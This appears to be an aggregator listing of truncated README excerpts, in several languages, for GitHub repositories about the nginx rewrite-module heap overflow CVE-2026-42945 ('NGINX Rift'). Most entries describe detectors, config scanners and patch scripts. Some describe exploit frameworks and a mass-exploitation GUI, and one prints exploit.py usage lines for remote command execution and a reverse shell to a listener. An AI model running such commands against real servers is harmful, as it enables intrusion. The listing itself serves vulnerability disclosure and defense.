nginx-rift-detector

NGINX Rift 检测器用于 CVE-2026-42945 用于受感染 NGINX 服务器的只读 Bash 检测器。它帮助运维人员在 CVE-2026-42945 披露后回答两个问题： 此服务器是否仍运行存在漏洞的 NGINX 版本或危险的重写配置？ 本地日志是否包含崩溃、长 URI 或编码信号，需要在关闭工单前进行审查？ 快速开始 需求| 链接 ---|--- 浏览工具页面| https://limo57640-crypto.github.io/nginx-rift-detector/ 阅读 Ping7 自检指南|...

nGixshell

nGixShell 是一个 nginx CVE 扫描器和 RCE 漏洞利用框架。它附带一个针对 CVE-2026-42945 的可工作概念验证（proof-of-concept）——ngxhttprewritemodule 中的一个严重堆缓冲区溢出——以及一个覆盖 53 个 nginx CVE 的扫描器，具备自动化 HTTP 探测、指纹识别、WAF 检测/绕过、Web 安全审计和报告生成功能。 零外部依赖。纯 Python 3 标准库。 快速开始 root@kitploit: Spin up the vulnerable lab docker compose -f...

NGINX_RIFT_SCAN_CVE_2026_42945

NGINX Rift 設定スキャナー 言語：日本語 | English これは、NGINX設定にCVE-2026-42945（NGINX Rift）およびCVE-2026-9256のリスクパターンが存在するかどうかをチェックする軽量スクリプトです。 この脆弱性は、depthfirstが記事「NGINX Rift: Achieving NGINX RCE via an 18-Year-Old...

fix_nginx_cve_2026_42945

NGINX CVE-2026-42945 一键修正スクリプト 自動的にシステムディストリビューションを検出し、NGINXを修正バージョン（≥1.30.1）にアップグレードし、設定をバックアップ、自動ロールバックを行います。 脆弱性説明 脆弱性ID： CVE-2026-42945 脆弱性名称：NGINX Rift NGINXが特定のrewriteリダイレクトルールを処理する際に、リクエスト内容の長さ計算と実際の書き込みが一致しません。攻撃者は悪意のあるリクエストを構築してメモリ破壊を引き起こし、ワーカープロセスのクラッシュやリモートコード実行を引き起こす可能性があります。...

nginx-rift-detect

nginx-rift-detect CVE-2026-42945 （NGINX Rift）の行動検出スクリプト — 2008年からnginxに存在するngxhttprewritemoduleのヒープバッファオーバーフロー。 ⚠️ 免責事項 このツールは許可されたセキュリティテストおよび研究のみ を目的としています。 自分が所有しているか、明示的な書面による許可 を得たシステムに対してのみ実行してください。 無断使用はお住まいの地域のコンピュータ犯罪法に違反する可能性があります。 作者は、このツールの誤用またはそれによって生じた損害について一切責任を負いません。 背景...

CVE-2026-42945-nginx-rift

このリポジトリには README がありません。...

CVE-2026-42945

このリポジトリには README がありません。...

CVE-2026-42945

CVE-2026-42945 PoC（Go） 中文 | English nginx HTTP/2 実装（CVE-2026-42945） に対する探索・悪用補助ツールで、認可された環境 で脆弱性の有無を確認し、修正効果と比較し、制御された実験環境でPoCの動作を再現するためのものです。 影響を受けるバージョン（おおよその判断）：nginx 0.6.27 – 1.30.0 ；1.30.1+ / 1.31.0+ は修正済み。 ⚠️ 免責事項（必読） このリポジトリは、セキュリティ研究、脆弱性確認、防御テスト専用です。 1. 合法的な許可 ：明確な書面による許可 があるか、完全にあなたが所有する...

nginx-cve-2026-42945

CVE-2026-42945 NGINX Rift — 防御性扫描器 运行 NGINX Open Source 、NGINX Plus 或基于 NGINX 的 Ingress/控制器的组织，应确认其是否受到 CVE-2026-42945 的影响，并在利用尝试触及生产边缘之前进行修补或重新配置。 本仓库提供了一个只读、非利用 的扫描器，供你在自有或获准测试的系统上进行授权的防御性使用。 漏洞是什么 项目| 详情 ---|--- CVE| CVE-2026-42945 名称| NGINX Rift 组件| ngxhttprewritemodule（堆缓冲区溢出） 受影响版本| NGINX...

nginx-rce-cve-2026-42945

5. CVE-2026-42945 - 严重 NGINX RCE CVSS 9.2 分类 类别: 零日 / 远程代码执行 CVE: CVE-2026-42945 CVSS: 9.2 严重 发现日期: 2026年5月12日 补丁日期: 2026年5月 F5季度安全更新 来源: GitHub DepthFirstDisclosures/Nginx-Rift 漏洞详情 NGINX 的 ngxhttprewritemodule 组件中存在一个 堆缓冲区溢出 ，该漏洞于 2008 年 引入——意味着它在被发现前已存在 16 年 。 受影响版本 : NGINX Open Source 0.6.27 ...

CVE-2026-42945-Reverse-Shell-POC

CVE-2026-42945 NGINX Rift リバースシェル付き RCE PoC CVE-2026-42945 のリモートコード実行 RCE 概念実証 PoC です。これは NGINX の ngxhttprewritemodule におけるヒープバッファオーバーフローです。このフォークは、公開されているトリガー PoC を拡張し、組み込みのリバースシェルリスナーと、CTF や隔離されたラボ環境向けの設定可能な悪用パラメータを追加しています。 脆弱性概要 CVE ID: CVE-2026-42945 別名: NGINX Rift 影響を受けるコンポーネント:...

Nginx_cve-2026-42945-scanner-gui

Ngxin cve-2026-42945-scanner-gui Necesita ejecutar jdk21version java -jar cve-2026-42945-scanner.... Escaneo masivo + explotación de vulnerabilidades con un clic Necesita jdk21 para ejecutarse Después de descomprimir, ejecuta java -jar cve-2026-42945-scanner.... Escaneo masivo + explotación de...

NGINX-Rift

NGINX Rift — Herramienta de escaneo y verificación de vulnerabilidades CVE-2026-42945 / CVE-2026-9256 NGINX Rift es una herramienta de código abierto de escaneo y verificación para CVE-2026-42945 y CVE-2026-9256 vulnerabilidades de desbordamiento de montón en el módulo ngxhttprewritemodule de...

Scanner_CVE_2026-42945

Nginxインスタンスが脆弱なCVE-2026-42945 NGINX RIFTを検出するスキャナー。 入力として個別IP、CIDR範囲、ASNを受け付けます。 概要 CVE-2026-42945は、1.30.1 より前のすべてのNginxバージョンに影響します。 このツールは、HTTPおよびHTTPSの標準ポートを調査し、レスポンスのServerヘッダーを読み取り、各ホストを脆弱、安全、または潜在的に影響を受ける（隠しバージョン）として分類します。 結果はログに保存され、CVEに脆弱なホストのリストと、最後に詳細な.CSVファイルが出力されます。 要件 root@kitploit: p...

CVE-2026-42945-NGINX-Rift-Check-Script

Questo repository non contiene un README...

nginx-rift-scanner

nginx-rift-scanner Abhängigkeitsfreier Python 3 Scanner für CVE-2026-42945 "NGINX Rift" — ein CVSS v4.0 9.2 KRITISCHER heap-basierter Pufferüberlauf CWE-122 in ngxhttprewritemodule. Was er erkennt Bei jedem Aufruf werden zwei unabhängige Prüfungen durchgeführt:...

nginx-rift-check

nginx-rift-check Trova configurazioni vulnerabili a CVE-2026-42945 , l'heap buffer overflow nel ngxhttprewritemodule di nginx. Eseguire una versione di nginx affetta dalla 0.6.27 alla 1.30.0 non basta perché la vulnerabilità sia sfruttabile. La configurazione deve contenere una coppia specifica d...

CVE-2026-42945-NGINX-Rift

CVE-2026-42945-NGINX-Rift root@kitploit: Basic usage with target IP python3 exploit.py --target-ip 192.168.1.100 --cmd "id" With custom port python3 exploit.py --target-ip 192.168.1.100 --port 8080 --cmd "id" Reverse shell python3 exploit.py --target-ip 192.168.1.100 --shell --listen-ip 10.0.0.1...

ai-vuln-rediscovery-nginx-cve-2026-42945

nginx में CVE-2026-42945 की AI-सहायता प्राप्त पुनःखोज यह रिपॉज़िटरी nginx ngxhttprewritemodule के विरुद्ध एक पुनरुत्पादनीय AI-सहायता प्राप्त भेद्यता पुनःखोज प्रयोग का दस्तावेज़ीकरण करता है, जिसे बाद में CVE-2026-42945 से जोड़ा गया। यह प्रयोग जानबूझकर संकीर्ण है। असुरक्षित फ़ाइल,...

cve-2026-42945-scan

cve-2026-42945-scan Scanner statico per file di configurazione NGINX che rileva il pattern rewrite/set associato a CVE-2026-42945. Lo scanner analizza le configurazioni NGINX con crossplane, percorre i blocchi location, e stampa ogni posizione che appare affetta in questo formato: root@kitploit:...